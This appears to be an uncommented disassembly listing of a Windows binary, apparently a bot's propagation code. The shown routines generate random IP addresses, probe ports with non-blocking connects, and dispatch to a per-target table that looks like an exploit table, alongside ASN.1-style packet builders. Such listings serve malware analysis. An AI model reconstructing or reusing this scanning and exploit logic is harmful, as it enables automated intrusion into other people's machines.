; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CC8 push eax call sub_41C266 pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx nop call near ptr 2680000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CDCE0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDEC push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset byte_412197 push ebx push ebx nop call near ptr 2690000h mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h call near ptr 2680EBDh nop jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j nop call near ptr 26908B8h push eax lea eax, [ebp+var_204] push offset unk_431E08 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx nop call near ptr 2680000h push 103h push edi push offset dword_4CDF88 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE094 push offset unk_431DD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset word_40F3AA push ebx push ebx call near ptr 2690000h nop mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h nop call near ptr 2680EBDh jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj nop call near ptr 26908B8h push eax lea eax, [ebp+var_204] push offset unk_431DA0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+var_204] push offset unk_431D70 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset dword_40F108 push ebx push ebx nop call near ptr 2690000h mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h nop call near ptr 2680EBDh jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej nop call near ptr 26908B8h push eax lea eax, [ebp+var_204] push offset unk_431D38 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3B4 push 104h push esi push ebx call near ptr 2680000h nop push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE12C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx nop call near ptr 2690000h mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h call near ptr 2680EBDh nop jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j nop call near ptr 26908B8h push eax lea eax, [ebp+var_204] push offset unk_431D04 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: ___:0040BBBEp ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC push esi mov edi, eax call dword_4CBA6C xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A0891h push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E64 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E710[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E3C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+29Ch+var_29C], offset dword_4CDB20 call near ptr 77F7E300h nop jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h nop call near ptr 2680EBDh jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 call near ptr 26F0000h nop loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi call near ptr 26F064Bh nop push 80000400h push esi call near ptr 26F04BBh nop test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F48 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj ; sub_40C3E8+297j mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F14 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C3E8+371j nop call near ptr 26908B8h push eax lea eax, [ebp+var_1CC] push offset unk_431EDC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C3E8+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C7B0: ; CODE XREF: sub_40C3E8+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 push eax lea eax, [ebp+var_1CC] push offset unk_431E9C push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CBB24[eax*8], ebx call esi push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 call near ptr 26F064Bh nop loc_40C835: ; CODE XREF: sub_40C3E8+440j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx call near ptr 26F0000h nop loc_40C845: ; CODE XREF: sub_40C3E8+3B6j ; sub_40C3E8+475j mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi jmp short loc_40C845 sub_40C3E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9D4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 push eax mov edi, offset dword_4CE4E4 push offset dword_431F7C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; --------------------------------------------------------------------------- dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+5F60o dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C85Fh, 0E8905757h, 228364Ch, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022636h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 90575700h dd 28355BE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 41E80875h, 90022635h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB88C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp 